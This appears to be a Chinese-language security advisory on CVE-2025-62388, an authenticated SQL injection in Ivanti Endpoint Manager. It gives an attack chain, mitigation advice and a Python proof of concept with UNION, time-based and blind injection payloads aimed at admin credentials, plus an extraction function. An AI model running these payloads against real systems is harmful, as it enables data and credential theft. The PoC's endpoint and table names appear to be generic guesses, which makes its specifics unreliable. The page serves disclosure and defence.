IPBUF安全漏洞报告
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CVE-2025-62388 CVSS 6.5 中危

CVE-2025-62388:Ivanti Endpoint Manager SQL注入漏洞

披露日期: 2025-10-13
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2025-62388
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ivanti Endpoint Manager

相关标签

SQL注入IvantiEndpoint ManagerEPMCVE-2025-62388中危漏洞信息泄露认证后漏洞企业终端管理

漏洞概述

CVE-2025-62388是Ivanti Endpoint Manager(EPM)中存在的一个SQL注入漏洞,于2025年10月13日公开披露。该漏洞的CVSS 3.1评分为6.5,属于中危级别。Ivanti Endpoint Manager是Ivanti公司推出的一款企业级终端管理解决方案,广泛应用于IT资产盘点、补丁管理、软件分发、远程控制等场景,是企业IT基础设施的重要组成部分。

该漏洞允许远程经过身份验证的攻击者通过构造恶意的SQL查询语句,从数据库中读取任意数据。由于漏洞的CVSS向量表明攻击复杂度低(AC:L),且无需用户交互(UI:N),同时对机密性产生高影响(C:H),这意味着在拥有低权限认证凭据的情况下,攻击者可以较为容易地利用此漏洞获取数据库中的敏感信息。

虽然该漏洞仅影响机密性而不影响完整性和可用性,但考虑到EPM通常存储着企业网络中的大量敏感信息,包括终端设备清单、用户凭据、补丁状态、策略配置等关键数据,一旦泄露将对企业安全造成严重威胁。Ivanti官方已发布安全公告,建议用户尽快升级到2024 SU5或更高版本以修复该漏洞。

技术细节

该漏洞是Ivanti Endpoint Manager(EPM)2024 SU5之前版本中存在的一个典型的SQL注入漏洞。SQL注入是一种经典的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码片段,使得这些恶意代码被数据库引擎解析执行。

在EPM的受影响的版本中,应用程序未能对用户输入进行充分的验证和参数化处理,导致攻击者可以将恶意SQL语句注入到后端数据库查询中。具体而言,攻击者需要拥有有效的低权限认证凭据(PR:L),通过网络(AV:N)向EPM的特定接口发送精心构造的SQL注入payload。

利用方式如下:
1. 攻击者首先通过合法途径获取EPM的低权限账户凭据;
2. 通过认证后,访问存在注入漏洞的功能端点;
3. 在正常的查询参数中注入UNION SELECT等SQL语句;
4. 通过布尔盲注或时间盲注技术逐步提取数据库中的敏感信息;
5. 获取管理员凭据、加密密钥或其他敏感数据。

由于该漏洞仅影响机密性(C:H)而不影响完整性(I:N)和可用性(A:N),攻击者无法直接修改或删除数据库中的数据,但可以读取任意数据,这为后续攻击(如权限提升、横向移动)提供了信息基础。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者通过钓鱼攻击、凭据填充或购买泄露的数据库等方式,获取Ivanti Endpoint Manager的低权限认证凭据。
STEP 2
步骤2:身份认证
使用获取的低权限账户登录EPM管理控制台,建立有效的会话,获得对系统功能的受限访问权限。
STEP 3
步骤3:识别注入点
通过分析EPM的API接口和Web界面,定位存在SQL注入漏洞的功能端点(如设备搜索、报表查询等参数)。
STEP 4
步骤4:构造注入Payload
根据目标数据库类型(通常是Microsoft SQL Server)构造SQL注入payload,使用UNION查询或盲注技术。
STEP 5
步骤5:数据提取
通过布尔盲注、时间盲注或UNION注入技术,逐步提取数据库中的敏感信息,包括管理员凭据、加密密钥等。
STEP 6
步骤6:权限提升与横向移动
利用提取到的管理员凭据或其他敏感信息,尝试提升权限或对内网其他系统进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62388 - Ivanti Endpoint Manager SQL Injection PoC # Vulnerability: SQL Injection in Ivanti Endpoint Manager before 2024 SU5 # CVSS: 6.5 (MEDIUM) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N # Requires: Low-privilege authenticated access import requests TARGET_URL = "https://target-epm-server:8443" USERNAME = "low_priv_user" PASSWORD = "password123" session = requests.Session() # Step 1: Authenticate to EPM with low-privilege credentials login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=login_payload) print(f"[*] Login status: {login_resp.status_code}") # Step 2: Exploit SQL Injection in vulnerable parameter # The injection point is typically in search/filter parameters vulnerable_endpoint = f"{TARGET_URL}/api/v1/devices/search" # Boolean-based blind SQL injection payloads payloads = [ # Basic injection test "' OR '1'='1", "' UNION SELECT NULL,username,password FROM users--", # Time-based blind injection "'; WAITFOR DELAY '0:0:5'--", # Extract database version "' UNION SELECT @@version,NULL,NULL--", # Extract table names "' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--", # Extract sensitive data (e.g., admin credentials) "' UNION SELECT username,password_hash,salt FROM ldap_users WHERE role='admin'--" ] for payload in payloads: params = {"query": payload, "limit": 100} resp = session.get(vulnerable_endpoint, params=params) print(f"[*] Payload: {payload[:50]}...") print(f"[*] Response length: {len(resp.text)}") if "error" in resp.text.lower(): print(f"[!] Possible SQL error detected") # Step 3: Automated data extraction using boolean-based blind SQLi def extract_data(session, table, column, row_id=1): """Extract data character by character using boolean-based blind SQLi""" extracted = "" for pos in range(1, 100): # Binary search for each character low, high = 32, 126 while low < high: mid = (low + high) // 2 payload = f"' AND ASCII(SUBSTRING((SELECT {column} FROM {table} WHERE id={row_id}),{pos},1))>{mid}--" params = {"query": payload} resp = session.get(vulnerable_endpoint, params=params) # Adjust based on response behavior if resp.status_code == 200 and len(resp.text) > 100: low = mid + 1 else: high = mid if low == 32: break extracted += chr(low) return extracted print("[*] Starting data extraction...") # extracted_data = extract_data(session, "users", "password") print("[*] Extraction complete")

影响范围

Ivanti Endpoint Manager < 2024 SU5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制EPM管理控制台的网络访问,仅允许可信IP地址访问;2)审查并最小化EPM用户账户权限,删除不必要的低权限账户;3)部署Web应用防火墙(WAF)规则以检测和阻断SQL注入攻击;4)监控EPM数据库的异常查询活动,特别是涉及UNION、information_schema等关键字的查询;5)启用详细的审计日志,记录所有数据库访问行为;6)考虑实施数据库查询白名单,仅允许预定义的查询模式执行。

参考链接

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